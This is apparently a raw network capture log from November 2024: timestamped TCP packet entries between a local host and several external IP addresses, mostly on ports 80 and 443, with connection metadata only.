Nov 17, 2024 22:20:51.281985044 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.281985044 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.282021046 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.282027006 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.282073975 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.282110929 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.282125950 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.282145023 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.282156944 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.282181978 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.282191038 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.282224894 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.282238007 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.282274008 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.282284021 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.282314062 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.282316923 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.282330990 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.282363892 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.282377005 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.282404900 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.282418013 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.282470942 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.282516956 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.282538891 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.282568932 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.282602072 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.282619953 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.282638073 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.282646894 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.282680988 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.282691002 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.282735109 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.282744884 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.282788992 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.282828093 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.282862902 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.282874107 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.282897949 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.282907963 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.282934904 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.282941103 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.282972097 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.282978058 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.283014059 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.293195009 CET	443	60889	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:51.293747902 CET	60889	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:51.293762922 CET	443	60889	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:51.294233084 CET	60889	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:51.294238091 CET	443	60889	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:51.296998978 CET	443	60890	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:51.297447920 CET	60890	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:51.297491074 CET	443	60890	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:51.298001051 CET	60890	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:51.298011065 CET	443	60890	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:51.312180996 CET	60882	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:51.315747976 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.315809011 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.315839052 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.315860987 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.315887928 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.315896034 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.315912962 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.315929890 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.315939903 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.315964937 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.316009998 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.340389013 CET	443	60884	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.340416908 CET	443	60884	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.340465069 CET	60884	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:51.340475082 CET	443	60884	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.340495110 CET	443	60884	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.340543032 CET	60884	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:51.341665983 CET	60884	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:51.341677904 CET	443	60884	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.342060089 CET	60897	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:51.342098951 CET	443	60897	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.342173100 CET	60897	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:51.343525887 CET	443	60882	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.343549967 CET	443	60882	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.343585968 CET	60882	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:51.343605995 CET	443	60882	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.343621969 CET	443	60882	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.343698025 CET	60882	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:51.345637083 CET	60897	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:51.345653057 CET	443	60897	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.349745989 CET	60882	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:51.349760056 CET	443	60882	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.352518082 CET	443	60881	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.352555990 CET	443	60881	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.352611065 CET	443	60881	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.352633953 CET	60881	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:51.352663040 CET	60881	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:51.353503942 CET	443	60885	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.353527069 CET	443	60885	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.353599072 CET	60885	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:51.353607893 CET	443	60885	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.353658915 CET	60885	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:51.353758097 CET	60881	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:51.353774071 CET	443	60881	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.356369019 CET	60885	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:51.356379986 CET	443	60885	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.357851028 CET	443	60883	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.357934952 CET	443	60883	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.358045101 CET	443	60883	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.358078957 CET	60883	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:51.358113050 CET	60883	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:51.358153105 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.358169079 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.358187914 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.358217001 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.358222961 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.358247995 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.358257055 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.358272076 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.358289003 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.358311892 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.358319044 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.358333111 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.358350992 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.358392000 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.358407974 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.358423948 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.358434916 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.358441114 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.358460903 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.358467102 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.358479023 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.358483076 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.358500957 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.358505964 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.358525038 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.358530998 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.358545065 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.358550072 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.358566046 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.358568907 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.358582020 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.358587027 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.358604908 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.358613014 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.358633041 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.358648062 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.358732939 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.358827114 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.358834028 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.358850956 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.358885050 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.358889103 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.358947992 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.379594088 CET	60883	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:51.379631042 CET	443	60883	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.398380041 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.398441076 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.398483992 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.398499012 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.398514032 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.398531914 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.398545980 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.398560047 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.398576021 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.398585081 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.398593903 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.398608923 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.398617029 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.398636103 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.398660898 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.399019957 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.399048090 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.399064064 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.399076939 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.399096012 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.399104118 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.399179935 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.399221897 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.399246931 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.399260998 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.399283886 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.399290085 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.399310112 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.399321079 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.399329901 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.399346113 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.399349928 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.399363995 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.399370909 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.399382114 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.399388075 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.399399042 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.399404049 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.399420023 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.399426937 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.399441957 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.399449110 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.399458885 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.399466991 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.399477005 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.399482965 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.399501085 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.399516106 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.403424978 CET	443	60888	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:51.403496981 CET	443	60888	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:51.403575897 CET	60888	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:51.403999090 CET	60888	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:51.404028893 CET	443	60888	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:51.404043913 CET	60888	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:51.404051065 CET	443	60888	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:51.410167933 CET	60898	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:51.410228968 CET	443	60898	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:51.410306931 CET	60898	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:51.410532951 CET	60898	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:51.410547972 CET	443	60898	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:51.411550045 CET	443	60892	23.221.22.206	192.168.2.7
Nov 17, 2024 22:20:51.412024975 CET	60892	443	192.168.2.7	23.221.22.206
Nov 17, 2024 22:20:51.412050009 CET	443	60892	23.221.22.206	192.168.2.7
Nov 17, 2024 22:20:51.412630081 CET	443	60892	23.221.22.206	192.168.2.7
Nov 17, 2024 22:20:51.413858891 CET	60892	443	192.168.2.7	23.221.22.206
Nov 17, 2024 22:20:51.413969994 CET	443	60892	23.221.22.206	192.168.2.7
Nov 17, 2024 22:20:51.417367935 CET	443	60893	23.221.22.206	192.168.2.7
Nov 17, 2024 22:20:51.417763948 CET	60893	443	192.168.2.7	23.221.22.206
Nov 17, 2024 22:20:51.417788982 CET	443	60893	23.221.22.206	192.168.2.7
Nov 17, 2024 22:20:51.419334888 CET	443	60893	23.221.22.206	192.168.2.7
Nov 17, 2024 22:20:51.419420958 CET	60893	443	192.168.2.7	23.221.22.206
Nov 17, 2024 22:20:51.420006037 CET	60893	443	192.168.2.7	23.221.22.206
Nov 17, 2024 22:20:51.420104980 CET	443	60893	23.221.22.206	192.168.2.7
Nov 17, 2024 22:20:51.425213099 CET	443	60891	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:51.425470114 CET	443	60890	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:51.425559044 CET	443	60890	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:51.425638914 CET	60890	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:51.425921917 CET	60891	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:51.425940037 CET	443	60891	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:51.427043915 CET	60891	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:51.427062035 CET	443	60891	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:51.427668095 CET	60890	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:51.427692890 CET	443	60890	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:51.427706003 CET	60890	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:51.427712917 CET	443	60890	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:51.431303978 CET	60899	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:51.431345940 CET	443	60899	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:51.431416988 CET	60899	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:51.431607008 CET	60899	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:51.431617022 CET	443	60899	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:51.432363033 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.432435989 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.432462931 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.432480097 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.432497025 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.432512999 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.432523012 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.432533979 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.432542086 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.432560921 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.432574034 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.440649033 CET	443	60889	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:51.440829992 CET	443	60889	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:51.440874100 CET	443	60889	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:51.440957069 CET	60889	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:51.441700935 CET	60889	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:51.441700935 CET	60889	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:51.441716909 CET	443	60889	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:51.441726923 CET	443	60889	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:51.445096970 CET	60900	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:51.445137024 CET	443	60900	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:51.445214033 CET	60900	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:51.445362091 CET	60900	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:51.445375919 CET	443	60900	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:51.468421936 CET	60892	443	192.168.2.7	23.221.22.206
Nov 17, 2024 22:20:51.468592882 CET	60893	443	192.168.2.7	23.221.22.206
Nov 17, 2024 22:20:51.468601942 CET	443	60893	23.221.22.206	192.168.2.7
Nov 17, 2024 22:20:51.473351002 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.473448038 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.473495007 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.473510027 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.473526001 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.473536968 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.473556042 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.473566055 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.474706888 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.474750996 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.474772930 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.474801064 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.474814892 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.474848986 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.474874973 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.474894047 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.474972010 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.474988937 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.475013018 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.475014925 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.475033998 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.475034952 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.475052118 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.475054979 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.475069046 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.475084066 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.475091934 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.475110054 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.514638901 CET	60893	443	192.168.2.7	23.221.22.206
Nov 17, 2024 22:20:51.534013987 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.538839102 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.555007935 CET	443	60891	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:51.555087090 CET	443	60891	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:51.555254936 CET	60891	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:51.555495977 CET	60891	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:51.555510044 CET	443	60891	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:51.555540085 CET	60891	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:51.555546045 CET	443	60891	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:51.559781075 CET	60901	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:51.559822083 CET	443	60901	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:51.559936047 CET	60901	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:51.565385103 CET	60901	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:51.565409899 CET	443	60901	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:51.784225941 CET	443	60895	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.786232948 CET	60895	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:51.786253929 CET	443	60895	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.786575079 CET	443	60895	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.786967039 CET	60902	443	192.168.2.7	40.79.150.121
Nov 17, 2024 22:20:51.787060022 CET	443	60902	40.79.150.121	192.168.2.7
Nov 17, 2024 22:20:51.787285089 CET	60902	443	192.168.2.7	40.79.150.121
Nov 17, 2024 22:20:51.787452936 CET	60903	443	192.168.2.7	20.125.209.212
Nov 17, 2024 22:20:51.787481070 CET	443	60903	20.125.209.212	192.168.2.7
Nov 17, 2024 22:20:51.788044930 CET	60895	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:51.788095951 CET	60903	443	192.168.2.7	20.125.209.212
Nov 17, 2024 22:20:51.788109064 CET	443	60895	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.788429976 CET	60902	443	192.168.2.7	40.79.150.121
Nov 17, 2024 22:20:51.788467884 CET	443	60902	40.79.150.121	192.168.2.7
Nov 17, 2024 22:20:51.788584948 CET	60903	443	192.168.2.7	20.125.209.212
Nov 17, 2024 22:20:51.788597107 CET	443	60903	20.125.209.212	192.168.2.7
Nov 17, 2024 22:20:51.789002895 CET	60895	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:51.814433098 CET	60904	443	192.168.2.7	3.168.24.65
Nov 17, 2024 22:20:51.814462900 CET	443	60904	3.168.24.65	192.168.2.7
Nov 17, 2024 22:20:51.814997911 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.815013885 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.815085888 CET	60904	443	192.168.2.7	3.168.24.65
Nov 17, 2024 22:20:51.815114975 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.815114975 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.815330029 CET	60904	443	192.168.2.7	3.168.24.65
Nov 17, 2024 22:20:51.815330982 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.815349102 CET	443	60904	3.168.24.65	192.168.2.7
Nov 17, 2024 22:20:51.815359116 CET	80	60797	185.215.113.206	192.168.2.7
